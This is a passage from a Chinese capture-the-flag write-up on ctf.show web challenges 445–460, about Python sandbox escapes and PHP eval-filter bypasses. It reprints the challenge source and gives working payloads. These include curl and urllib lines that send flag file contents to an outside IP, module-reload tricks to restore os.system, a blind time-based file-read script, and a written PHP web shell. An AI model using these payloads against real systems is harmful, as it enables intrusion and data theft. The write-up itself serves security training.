if __name__=="__main__":
app.run(host='0.0.0.0',port=80)可以看到过滤并未增多,但是删除了os模块中的system和popen命令执行函数
这里其实就是针对模块操作的利用了,既然删除了那么我们是可以去重载的。
因此我们的利用语句为
1
import importlib;importlib.reload(os);os.system('curl http://43.140.198.45:5000/?flag=`cat /f*`')
web446
查看源码,好的
del imp.reload
把重载函数也给我删掉了,但是俺用的是
importlib
web447
查看源码,好家伙删了更多函数
1
2
3
4
5
6
7
8
9
10import subprocess
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.getstatusoutput
del subprocess.getoutput
del subprocess.check_call
del subprocess.check_output
import timeit
del timeit.timeit但是没什么卵用
web448
源码diff部分如下
1
2
3
4
5
6sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None字典sys.modules具有字典所拥有的一切方法,可以通过这些方法了解当前的环境加载了哪些模块
那么重新修改一下值即可呗,查看一下值的规范
程序在导入某个模块时,会首先查找sys.modules中是否包含此模块名,若存在,则只需将模块的名字加入到当前模块的Local名字空间中;若不存在,则需要从sys.path目录中按照模块名称查找模块文件,模块文件可以是py、pyc、pyd,找到后将模块加载到内存,并加入到sys.modules字典,最后将模块的名字加入当前模块的Local名字空间中
os模块位于
/usr/local/lib/python3.8/os.py
1
import sys;sys.modules['os']='/usr/local/lib/ python3.8/os.py';import os;os.system(xxx)
或者,我们干脆直接删掉该os键,重新导入即可自动查找对应文件
1
import sys;del sys.modules['os'];import os;os.system('curl http://43.140.198.45:5000/?flag=`cat /f*`')
web449
源码diff如下
1
2
3
4
5
6
7
8
9
10
11sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None
sys.modules['sys']=None
app = Flask(__name__)
sys.modules['importlib']=None
del sys太狠了,把sys也删掉了。那我们就不去直接命令执行了,换成文件读写。可以利用时间盲注的方式来回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39import requests
import string
db = string.ascii_lowercase + string.digits + '{}-'
def getNumber(num):
number = int(num)
if number in [-2, -1, 0, 1]:
return ["~int(True)", "~int(False)", "int(False)", "int(True)"][number+2]
if number % 2 == 1:
return '~%s' % getNumber(~number)
else:
return '(%s<<(int(True)))' % getNumber(number/2)
def getExp(payload):
exp = 'str().join(['
for i in payload:
exp += f"chr({getNumber(ord(i))}),"
exp = exp[:-1] # 去掉最后一个','
exp += '])'
return exp
result = ''
for i in range(100):
for w in db:
payload = f"import time;f=open('/flag').read({i+1});time.sleep(3) if f=='{w}' else 1"
data = {
'code': 'str(exec('+getExp(payload)+'))'
}
try:
requests.post(
url="http://2bffcc80-8242-43aa-bcab-3a1a8e01a7c1.challenge.ctf.show/", data=data, timeout=1)
except:
result += w
print(result)
continue时间上不好控制。yu22x师傅利用的一个没被Ban的模块
urllib
(以前的request)urllib.request.urlopen( url, data=None, [timeout, ]*, cafile=None, capath=None, cadefault=False, context=None)
用于打开一个远程的url连接,并且向这个连接发出请求,获取响应结果。返回的结果是一个http响应对象,这个响应对象中记录了本次http访问的响应头和响应体
1
flag=open('/flag').read();import urllib;urllib.request.urlopen('http://43.140.198.45:5000/?flag=%s' % flag)
web450 另类rce, 执行phpinfo就可以拿到flag
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-02-03 22:57:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-02-04 14:28:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];
if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){
eval("($ctfshow)();");
}
Notice: Undefined index: ctfshow in /var/www/html/index.php on line 15可以看到正则实际上是想要参数满足
字母^字母^字母
的形式,如果对于相同的变量相异或我们知道是可以抵消的,因此三个phpinfo相异或即可
1
phpinfo^phpinfo^phpinfo
web451 另类rce, 执行phpinfo就可以拿到flag
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-02-03 22:57:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-02-04 15:38:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];
if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){
if(!preg_match('/phpinfo/', $ctfshow)){
eval("($ctfshow)();");
}
}
Notice: Undefined index: ctfshow in /var/www/html/index.php on line 15这次不让直接出现phpinfo关键字,可以进行一下混淆
1
aaainfo^phpbbbb^aaabbbb
web452 另类rce, 执行phpinfo就可以拿到flag
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-02-03 22:57:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-02-04 16:05:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];
if(!preg_match('/\'|\"|[0-9]|\{|\[|\~|\^|phpinfo|\$/i', $ctfshow)){
eval($ctfshow);
}
Notice: Undefined index: ctfshow in /var/www/html/index.php on line 15其实一眼是可以直接命令执行的,但是还是以构造phpinfo为主,我们可以通过拼接的方式,仿照前几题
形式要保证
($ctfshow)()
左括号中的内容才会被当做动态函数处理,然后点号拼接1
((p).(h).(p).(i).(n).(f).(o))();
web453/455/456 另类rce,额,反正就是很另类的样子
前端源码如下
1
/ctf/show?s=XXX file_get_contents($_POST['s'])
尝试一下直接读源码index.php
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44$http = new Swoole\Http\Server('0.0.0.0', 80);
$http->on('start', function ($server) {
echo "Swoole http server is started at http://0.0.0.0:80\n";
});
$http->on('request', function ($request, $response) {
list($controller, $action) = explode('/', trim($request->server['request_uri'], '/'));
$route = array('ctf');
$method = array('show','file','exec');
if(in_array($controller, $route) && in_array($action, $method)){
(new $controller)->$action($request, $response);
}else{
$response->end('<h3>where is flag?</h3><!--/ctf/show?s=XXX file_get_contents($_POST[\'s\'])-->');
}
});
$http->start();
class ctf{
public function show($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
$response->end(file_get_contents($s));
}else{
$response->end('s not found');
}
}
public function file($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
file_put_contents('shell.php', $s);
$response->end('file write done in /var/www/shell.php');
}else{
$response->end('s not found');
}
}
public function exec($request,$response){
system('php shell.php');
$response->end('command exec done');
}
}首先看到这个ctf类是可以利用的,而http Server根据路由来执行对应的函数.路由是怎么产生的呢?通过对url按照斜线分隔开
那就好说了,先写恶意代码。由于没有回显,所以我们得外带
1
2
3<?php system('curl http://43.140.198.45:5000/?flag=`cat fl*`'); ?>
# 路由
/ctf/file然后执行
1
/ctf/exec
web454 另类rce,额,还可以这样子
还是先读一下源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44$http = new Swoole\Http\Server('0.0.0.0', 80);
$http->on('start', function ($server) {
echo "Swoole http server is started at http://0.0.0.0:80\n";
});
$http->on('request', function ($request, $response) {
list($controller, $action) = explode('/', trim($request->server['request_uri'], '/'));
$route = array('ctf');
$method = array('show','file','include');
if(in_array($controller, $route) && in_array($action, $method)){
(new $controller)->$action($request, $response);
}else{
$response->end('<h3>where is flag?</h3><!--/ctf/show?s=XXX file_get_contents($_POST[\'s\'])-->');
}
});
$http->start();
class ctf{
public function show($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
$response->end(file_get_contents($s));
}else{
$response->end('s not found');
}
}
public function file($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
file_put_contents('shell.php', $s);
$response->end('file write done in /var/www/shell.php');
}else{
$response->end('s not found');
}
}
public function include($request,$response){
include('shell.php');
$response->end('include done');
}
}可以看到最后执行的方法名换成了include,其他没变化
web457 逻辑好乱鸭
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-02-06 01:58:32
# @Last Modified by: h1xa
# @Last Modified time: 2021-02-06 12:19:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
abstract class user{
public $username;
public $password;
function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
abstract public function check();
}
class visitor extends user{
public function check(){
return ($this->username!=='admin' && $this->password!=='admin888');
}
}
class admin extends user{
public function check(){
$u= call_user_func($this->password);
return $u=='admin';
}
}
$u=$_GET['u'];
$p=$_GET['p'];
if(isset($u)&&isset($p)){
if((new visitor($u,$p))->check()){
die('welcome visitor :'.$u);
}
if((new admin($u,$p))->check()){
die('welcome admin :'.$u.' flag is :'.$flag);
}
}首先判断了visitor的check,也就是username必须得是admin或password必须是admin888我们才能绕过。
admin的check中call_user_func会调用参数password对应的值作为匿名函数,并且返回值存在弱类型比较,因此利用call_user_func调用返回true之类的函数即可即可
1
u=admin&p=phpinfo
web458 逻辑好乱呀
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-02-06 01:58:32
# @Last Modified by: h1xa
# @Last Modified time: 2021-02-06 12:19:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
abstract class user{
public $username;
public $password;
function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
abstract public function check();
}
class visitor extends user{
public function check(){
return ($this->username!=='admin' && $this->password!=='admin888');
}
}
class admin extends user{
public function check(){
$u= call_user_func($this->password);
return $u==='admin';
}
}
$u=$_GET['u'];
$p=$_GET['p'];
if(isset($u)&&isset($p)){
if((new visitor($u,$p))->check()){
die('welcome visitor :'.$u);
}
if((new admin($u,$p))->check()){
die('welcome admin :'.$u.' flag is :'.$flag);
}
}这里admin的check函数存在一个强类型比较了,因此这里应该调用一个void类型的匿名函数。y4给的思路是利用php的反射函数
1
2
3
4get_class(): 获取当前调用方法的类名;
- 如果在类中省略 object, 则返回当前所在类的名称
get_called_class():获取静态绑定后的类名;
返回类的名称,如果不是在类中调用则返回 false那么也就是说我们在admin类实例对象的check方法中调用
get_class
的话即可返回对应的类名admin,满足了比较条件1
u=admin&p=get_class
web459 小清新
源码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-02-06 01:58:32
# @Last Modified by: h1xa
# @Last Modified time: 2021-02-06 13:25:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$u=$_GET['u'];
$p=$_GET['p'];
if(isset($u)&&isset($p)){
copy($u, $p.'.php');我们直接copy会存在因为后缀是php可解析文件导致一些注释内容不可见的影响,注意copy文件是支持伪协议的,因此即可直接
1
u=php://filter/read=convert.base64-encode/resource=flag.php&p=1
web460 小清新
题目给了源码,啊这又来了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61from flask import Flask
from flask import request
import re
import sys
from func_timeout import func_set_timeout
import time
import func_timeout
import random
sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None
sys.modules['sys']=None
app = Flask(__name__)
sys.modules['importlib']=None
del sys
@func_set_timeout(0.7)
def run(s):
time.sleep(randmon.random())
return eval(s)
def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)
def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])
@app.route('/',methods=['POST', 'GET'])
def app_index():
if request.method == 'POST':
code = request.form['code']
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
if reg.search(code)==None:
try:
s=run(code)
return s
except func_timeout.exceptions.FunctionTimedOut:
return exec('1')
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=8080)1
flag=open('/flag').read();import urllib;urllib.request.urlopen(f'http://43.140.198.45:5000/?flag={flag}')
和之前的题一样,编码混淆绕过
参考:
https://blog.csdn.net/solitudi/article/details/113778651
https://blog.csdn.net/miuzzx/article/details/110220425